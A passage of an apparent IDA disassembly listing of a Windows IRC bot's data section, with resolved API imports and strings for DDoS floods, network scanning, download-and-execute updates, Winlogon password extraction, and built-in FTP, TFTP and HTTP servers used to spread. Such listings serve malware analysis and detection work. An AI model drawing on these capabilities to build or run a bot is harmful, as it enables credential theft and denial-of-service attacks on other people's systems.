to->KERNEL32.GetCurrentProcess ; sub_410729+7Dr ... dword_4220E4 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileA ; sub_409848+3F56r ... dword_4220E8 dd 7C801E16h ; resolved to->KERNEL32.TerminateProcess ; sub_408D49+24Br ... dword_4220EC dd 7C80BAA1h ; resolved to->KERNEL32.lstrcmpiAdword_4220F0 dd 7C81CE03h ; resolved to->KERNEL32.TerminateThread ; sub_411D59+A3r ... dword_4220F4 dd 7C835E8Fh ; resolved to->KERNEL32.MoveFileAdword_4220F8 dd 7C809920h ; resolved to->KERNEL32.GetCurrentProcessId ; sub_420507+17r dword_4220FC dd 7C8286EEh ; resolved to->KERNEL32.CopyFileA ; sub_415F00+ACr dword_422100 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObject ; sub_40FB4C+307r dword_422104 dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_422108 dd 7C81AE17h ; resolved to->KERNEL32.GetExitCodeProcessdword_42210C dd 7C85F90Fh ; resolved to->KERNEL32.PeekNamedPipe ; sub_41059C+101r dword_422110 dd 7C80DDFEh ; resolved to->KERNEL32.DuplicateHandle ; sub_4119DF+6Br dword_422114 dd 7C81E0C7h ; resolved to->KERNEL32.CreatePipe ; sub_411C5D+48r ... dword_422118 dd 7C81B58Bh ; resolved to->KERNEL32.SetConsoleCtrlHandlerdword_42211C dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoA ; sub_4202EF+23r dword_422120 dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExA ; sub_412A3C+19r ... dword_422124 dd 7C830B14h ; resolved to->KERNEL32.GetLogicalDrivesdword_422128 dd 7C873A31h ; resolved to->KERNEL32.GenerateConsoleCtrlEventdword_42212C dd 7C80A05Dh ; resolved to->KERNEL32.WaitForMultipleObjectsdword_422130 dd 7C8310F2h ; resolved to->KERNEL32.GlobalMemoryStatusdword_422134 dd 7C8312E5h ; resolved to->KERNEL32.TransactNamedPipedword_422138 dd 7C832044h ; resolved to->KERNEL32.SetEndOfFiledword_42213C dd 7C9109EDh ; resolved to->NTDLL.RtlSizeHeapdword_422140 dd 7C80BCCFh ; resolved to->KERNEL32.IsBadCodePtrdword_422144 dd 7C809E01h ; resolved to->KERNEL32.IsBadReadPtrdword_422148 dd 7C84467Dh ; resolved to->KERNEL32.SetUnhandledExceptionFilter ; sub_420700+6r dword_42214C dd 7C812641h ; resolved to->KERNEL32.FlushFileBuffersdword_422150 dd 7C81DC03h ; resolved to->KERNEL32.SetStdHandle ; sub_41F4FC:loc_41F552r dword_422154 dd 7C809EF1h ; resolved to->KERNEL32.InitializeCriticalSectiondword_422158 dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; sub_41E950+128r ... dword_42215C dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeap ; sub_417003+188r ... dword_422160 dd 7C8017E5h ; resolved to->KERNEL32.GetSystemTimeAsFileTime ; sub_420507+Br dword_422164 dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_422168 dd 7C801EEEh ; resolved to->KERNEL32.GetStartupInfoA ; sub_41E0DB+5Dr dword_42216C dd 7C812F1Dh ; resolved to->KERNEL32.GetCommandLineAdword_422170 dd 7C8136D7h ; resolved to->KERNEL32.TlsFreedword_422174 dd 7C910340h ; resolved to->NTDLL.RtlSetLastWin32Error ; sub_41EFD0+79r dword_422178 dd 7C809728h ; resolved to->KERNEL32.GetCurrentThreadId ; sub_419240+55r ... dword_42217C dd 7C809BC5h ; resolved to->KERNEL32.TlsSetValue ; sub_419240+3Dr dword_422180 dd 7C809740h ; resolved to->KERNEL32.TlsGetValuedword_422184 dd 7C812D9Fh ; resolved to->KERNEL32.TlsAllocdword_422188 dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroydword_42218C dd 7C812BB6h ; resolved to->KERNEL32.HeapCreatedword_422190 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_422194 dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_41A649+52r ... dword_422198 dd 7C809E79h ; resolved to->KERNEL32.IsBadWritePtrdword_42219C dd 7C801AD0h ; resolved to->KERNEL32.VirtualProtectdword_4221A0 dd 7C80B9D1h ; resolved to->KERNEL32.VirtualQuery ; sub_41C0D8+71r dword_4221A4 dd 7C838DE8h ; resolved to->KERNEL32.LCMapStringA ; sub_41C1A9+344r ... dword_4221A8 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; sub_41C1A9+15Br ... dword_4221AC dd 7C809915h ; resolved to->KERNEL32.GetACPdword_4221B0 dd 7C8127A7h ; resolved to->KERNEL32.GetOEMCPdword_4221B4 dd 7C812E76h ; resolved to->KERNEL32.GetCPInfo ; sub_41D1D5+3Dr ... dword_4221B8 dd 7C812F39h ; resolved to->KERNEL32.GetStdHandle ; sub_41E0DB+188r dword_4221BC dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilterdword_4221C0 dd 7C81DF77h ; resolved to->KERNEL32.FreeEnvironmentStringsAdword_4221C4 dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsAdword_4221C8 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsWdword_4221CC dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsWdword_4221D0 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCountdword_4221D4 dd 7C810E51h ; resolved to->KERNEL32.GetFileType ; sub_41E0DB+196r ... dword_4221D8 dd 7C838A0Ch ; resolved to->KERNEL32.GetStringTypeA ; sub_421CFA+1CDr align 10h dword_4221E0 dd 71AB3EA1h ; resolved to->WS2_32.setsockoptdword_4221E4 dd 71AB4519h ; resolved to->WS2_32.ioctlsocketdword_4221E8 dd 71AB3E00h ; resolved to->WS2_32.binddword_4221EC dd 71AB88D3h ; resolved to->WS2_32.listendword_4221F0 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_4042A2+58Br dword_4221F4 dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSetdword_4221F8 dd 71AC1028h ; resolved to->WS2_32.acceptdword_4221FC dd 71AB615Ah ; resolved to->WS2_32.recvdword_422200 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_4042A2+119r dword_422204 dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; sub_4042A2+49r dword_422208 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_4042A2+6Fr dword_42220C dd 71AB2BF4h ; resolved to->WS2_32.inet_addrdword_422210 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_4042A2+B0r dword_422214 dd 71AB406Ah ; resolved to->WS2_32.connectdword_422218 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_404210+80r ... dword_42221C dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; sub_404210+86r dd 2 dup(0) aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: start+81o align 4 aSD db ' %s: %d,',0 ; DATA XREF: start+42o align 4 aScanExploitSta db '[SCAN]: Exploit Statistics:',0 ; DATA XREF: start+11o aScanScanNotAct db '[SCAN]: Scan not active.',0 ; DATA XREF: sub_4010CA+42o align 10h aScanCurrentIpS db '[SCAN]: Current IP: %s.',0 ; DATA XREF: sub_4010CA+2Co aHttpdFailedToS db '[HTTPD]: Failed to start server, error: <%d>.',0 ; DATA XREF: sub_401141+384o align 4 aHttpdServerLis db '[HTTPD]: Server listening on IP: %s:%d, Directory: %s\.',0 ; DATA XREF: sub_401141+32Eo ; sub_409848+49DAo aFtpFailedToSta db '[FTP]: Failed to start server, error: <%d>.',0 ; DATA XREF: sub_401141+279o aFtpServerStart db '[FTP]: Server started on: %s:%d, File: %s, Request: %s.',0 ; DATA XREF: sub_401141+222o aTftpFailedToSt db '[TFTP]: Failed to start server, error: <%d>.',0 ; DATA XREF: sub_401141+138o align 4 aTftpServerStar db '[TFTP]: Server started on Port: %d, File: %s, Request: %s.',0 ; DATA XREF: sub_401141+D8o ; sub_409848+484Ao align 10h aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_4017E8+42o ; sub_408894+3Do aScanIpSPortDIs db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: sub_40195E+DCo align 10h aScanIpSDScanTh db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: sub_40195E+84o aScanFinishedAt db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0 ; DATA XREF: sub_401B94+1F3o align 10h aScanFailedToSt db '[SCAN]: Failed to start worker thread, error: <%d>.',0 ; DATA XREF: sub_401B94+17Bo aScanSDScanThre db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: sub_401B94+116o aScanFailedToIn db '[SCAN]: Failed to initialize critical section.',0 ; DATA XREF: sub_401B94+A1o align 4 aD_SS db '%d. %s = %s',0 ; DATA XREF: sub_401E97+35o aAliasList db '-[Alias List]-',0 ; DATA XREF: sub_401E97+10o align 10h a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_401F0F+60o align 4 aLogsCleared_ db '[LOGS]: Cleared.',0 ; DATA XREF: sub_401FAF+1Ao align 4 aLogListComplet db '[LOG]: List complete.',0 ; DATA XREF: sub_402021+DCo align 10h aLogBegin db '[LOG]: Begin',0 ; DATA XREF: sub_402021+3Fo align 10h aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4021C5+12o aWindow db 'Window',0 ; DATA XREF: sub_402402+23o ; sub_4025FE+26o align 10h dd 0 dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dword_422990 dd 6272h ; sub_41326A+121o ... aDdosSendErrorD db '[DDoS]: Send error: <%d>.',0 ; DATA XREF: sub_402858+2B7o align 10h aDdos_random db 'ddos.random',0 ; DATA XREF: sub_402858+122o ; sub_409848+25A2o aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_402858+108o ; sub_409848+258Eo align 4 aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_402858+EEo ; sub_409848+257Ao align 4 aDdosDoneWithFl db '[DDoS]: Done with flood (%iKB/sec).',0 ; DATA XREF: sub_402BA3+5Bo aDownloadBadUrl db '[DOWNLOAD]: Bad URL, or DNS Error: %s.',0 ; DATA XREF: sub_402C71+4B6o align 10h aDownloadUpda_0 db '[DOWNLOAD]: Update failed: Error executing file: %s.',0 ; DATA XREF: sub_402C71+4A8o align 4 aDownloadDown_0 db '[DOWNLOAD]: Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0 ; DATA XREF: sub_402C71+403o aDownloadExecut db '[DOWNLOAD]: Execution failed: Error executing file: %s.',0 ; DATA XREF: sub_402C71:loc_403027o aDownloadApplic db '[DOWNLOAD]: Application succesfully executed: %s.',0 ; DATA XREF: sub_402C71+3ACo align 10h asc_422B00: ; DATA XREF: sub_402C71+346o ; sub_40558B+25Co ... unicode 0, < >,0 aDownloadOpenni db '[DOWNLOAD]: Openning: %s %s.',0 ; DATA XREF: sub_402C71+2B4o align 4 aDownloadDownlo db '[DOWNLOAD]: Downloaded %.1f KB to %s @ %.1f KB/sec.',0 ; DATA XREF: sub_402C71+24Eo dbl_422B58 dq 9.765625e-4 ; DATA XREF: sub_402C71+21Dr ; sub_402C71:loc_402EAEr ... dbl_422B60 dq 4.294967296e9 ; DATA XREF: sub_402C71+215r ; sub_402C71+237r ... aDownloadFilesi db '[DOWNLOAD]: Filesize is incorrect: (%d != %d).',0 ; DATA XREF: sub_402C71+195o align 4 aDownloadUpdate db '[DOWNLOAD]: Update: %s (%dKB transferred).',0 ; DATA XREF: sub_402C71:loc_402DD4o align 4 aDownloadFileDo db '[DOWNLOAD]: File download: %s (%dKB transferred).',0 ; DATA XREF: sub_402C71+15Co align 4 aDownloadCouldn db '[DOWNLOAD]: Couldn',27h,'t open file: %s.',0 ; DATA XREF: sub_402C71+77o aUnknown db 'Unknown',0 ; DATA XREF: sub_403217:loc_40325Ao ; sub_407D31+104o aInvalid db 'Invalid',0 ; DATA XREF: sub_403217:loc_403254o aDisk db 'Disk',0 ; DATA XREF: sub_403217:loc_40324Eo align 4 aNetwork db 'Network',0 ; DATA XREF: sub_403217:loc_403248o aCdrom db 'Cdrom',0 ; DATA XREF: sub_403217:loc_403242o align 4 aRam db 'RAM',0 ; DATA XREF: sub_403217:loc_40323Co a?: ; DATA XREF: sub_403217+1Fo unicode 0, <?>,0 aFailed db 'failed',0 ; DATA XREF: sub_4032A8:loc_403380o ; sub_4033C3+2Do align 4 aSkb db '%sKB',0 ; DATA XREF: sub_4032A8+6Co align 4 aMainSDriveSSTo db '[MAIN]: %s Drive (%s): %s total, %s free, %s available.',0 ; DATA XREF: sub_4033C3+7Bo aMainSDriveSFai db '[MAIN]: %s Drive (%s): Failed to stat, device not ready.',0 ; DATA XREF: sub_4033C3+45o align 10h aA db 'A:\',0 ; DATA XREF: sub_403482+39o aFoundSS db ' Found: %s\%s',0 ; DATA XREF: sub_4035E0+107o align 4 aSS_0 db '%s\%s',0 ; DATA XREF: sub_4035E0+45o ; sub_40FB4C+195o align 4 aS_1 db '%s\*',0 ; DATA XREF: sub_4035E0+14o align 4 aFindfileFilesF db '[FINDFILE]: Files found: %d.',0 ; DATA XREF: sub_403732+CFo align 4 aFindfileSearch db '[FINDFILE]: Searching for file: %s.',0 ; DATA XREF: sub_403732+66o aMsgina db 'MSGINA',0 ; DATA XREF: sub_403852+13Eo align 10h aNwgina db 'NWGINA',0 ; DATA XREF: sub_403852+123o align 4 aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_403852+B9o align 8 aFindpassTheWin db '[FINDPASS]: The Windows logon (Pid: <%d>) information is: Domain:' ; DATA XREF: sub_403C9E+6Ao ; sub_403D30+A3o db ' \\%S, User: (%S/%S).',0 align 10h aFindpassTheW_0 db '[FINDPASS]: The Windows logon (Pid: <%d>) information is: Domain:' ; DATA XREF: sub_403D30+C5o db ' \\%S, User: (%S/(N/A)).',0 align 4 aFindpassFailed db '[FINDPASS]: Failed to enable Debug Privilege.',0 ; DATA XREF: sub_403E31:loc_403FA8o align 4 aFindpassUnab_0 db '[FINDPASS]: Unable to find Winlogon Process ID.',0 ; DATA XREF: sub_403E31:loc_403F7Co aFindpassUnable db '[FINDPASS]: Unable to find the password in memory.',0 ; DATA XREF: sub_403E31:loc_403F75o align 10h aFindpassTheW_1 db '[FINDPASS]: The Windows logon (Pid: <%d>) information is: Domain:' ; DATA XREF: sub_403E31+116o db ' \\%S, User: (%S/(no password)).',0 align 4 aUserdomain: ; DATA XREF: sub_403E31+DBo unicode 0, <USERDOMAIN>,0 align 4 aUsername: ; DATA XREF: sub_403E31+CDo unicode 0, <USERNAME>,0 align 10h aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_403E31+99o align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_403E31+8Co align 4 aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_403E31+7Fo aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_403E31+72o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_403E31+67o align 10h aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_403E31+54o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_403E31+40o ; sub_403E31+160o ... align 10h aFindpassOnlySu db '[FINDPASS]: Only supported on Windows NT/2000.',0 ; DATA XREF: sub_403E31+35o align 10h a221Goodbye_ db '221 Goodbye.',0Ah,0 ; DATA XREF: sub_4042A2+542o align 10h aQuit db 'QUIT',0 ; DATA XREF: sub_4042A2+531o ; sub_409848+5DAo align 4 a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_4042A2+528o align 4 aFtpFileTransfe db '[FTP]: File transfer complete to IP: %s (%s).',0 ; DATA XREF: sub_4042A2+4DCo align 4 a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_4042A2+4C1o a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_4042A2+491o align 10h aRetr db 'RETR',0 ; DATA XREF: sub_4042A2:loc_40471Co align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_4042A2+470o align 4 aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_4042A2+45Eo aXX db '%x%x',0Ah,0 ; DATA XREF: sub_4042A2+42Ao align 4 aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_4042A2+3ECo db ']',0 aPort db 'PORT',0 ; DATA XREF: sub_4042A2:loc_404658o align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_4042A2+38Eo align 4 aList db 'LIST',0 ; DATA XREF: sub_4042A2:loc_40461Eo align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_4042A2+350o align 4 aPasv db 'PASV',0 ; DATA XREF: sub_4042A2:loc_4045DFo align 10h a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_4042A2+333o aI: ; DATA XREF: sub_4042A2+31Eo unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_4042A2+302o aA_0: ; DATA XREF: sub_4042A2+2EDo unicode 0, <A>,0 aType db 'TYPE',0 ; DATA XREF: sub_4042A2:loc_40457Bo align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_4042A2+2CFo align 4 off_4231D8 dd offset dword_445750 ; DATA XREF: sub_4042A2+2BDo a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_4042A2+2B1o align 10h aRest db 'REST',0 ; DATA XREF: sub_4042A2:loc_404540o align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_4042A2+294o align 4 aSyst db 'SYST',0 ; DATA XREF: sub_4042A2:loc_404523o align 10h a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_4042A2+277o align 4 aPass db 'PASS',0 ; DATA XREF: sub_4042A2:loc_404506o align 10h a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_4042A2+25Ao align 4 aUser_0 db 'USER',0 ; DATA XREF: sub_4042A2+247o align 10h aSS_1 db '%s %s',0 ; DATA XREF: sub_4042A2+236o align 4 a220Winftpd1_2 db '220 WinFtpd 1.2',0Ah,0 ; DATA XREF: sub_4042A2+1BAo align 4 aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_404849+6BBo align 8 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_404849+6A6o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 10h aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_404849+68Bo align 10h a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_404849+5F1o align 10h aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_404849+5C9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_404849:loc_404DCAo align 10h aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_404849+57Ao align 10h aSS db '%s%s',0 ; DATA XREF: sub_404849+523o ; sub_4052D1+E6o ... align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_404849+4C5o align 10h a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_404849+484o align 10h aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_404849+451o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_404849:loc_404C5Co align 10h aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_404849+40Co align 10h aSS_2 db '%s%s/',0 ; DATA XREF: sub_404849+3B5o align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_404849+36Co ; sub_404849+4DAo db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_404849+33Bo align 4 aS_0 db '<%s>',0 ; DATA XREF: sub_404849+311o ; sub_404849+463o align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_404849+2E5o aAm db 'AM',0 ; DATA XREF: sub_404849+2C4o align 10h aPm db 'PM',0 ; DATA XREF: sub_404849+2B9o align 4 a__0: ; DATA XREF: sub_404849+27Co unicode 0, <.>,0 a__ db '..',0 ; DATA XREF: sub_404849+264o align 10h aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_404849+1F0o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_404849+15Co aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_404849+144o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 8 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_404849+107o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_404849+B4o db '<TABLE BORDER="0">',0Dh,0Ah,0 align 10h aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_404849+75o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 10h aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_404849+3Fo asc_4236F0: ; DATA XREF: sub_404849+1Eo ; sub_4052D1+F7o ... dw 0Ah unicode 0, <>,0 aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_40503C+8Ao db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 align 10h aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405163+E4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405163+CAo db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_405163+94o ; sub_412B6A+17Do ... align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405163+7Bo align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: 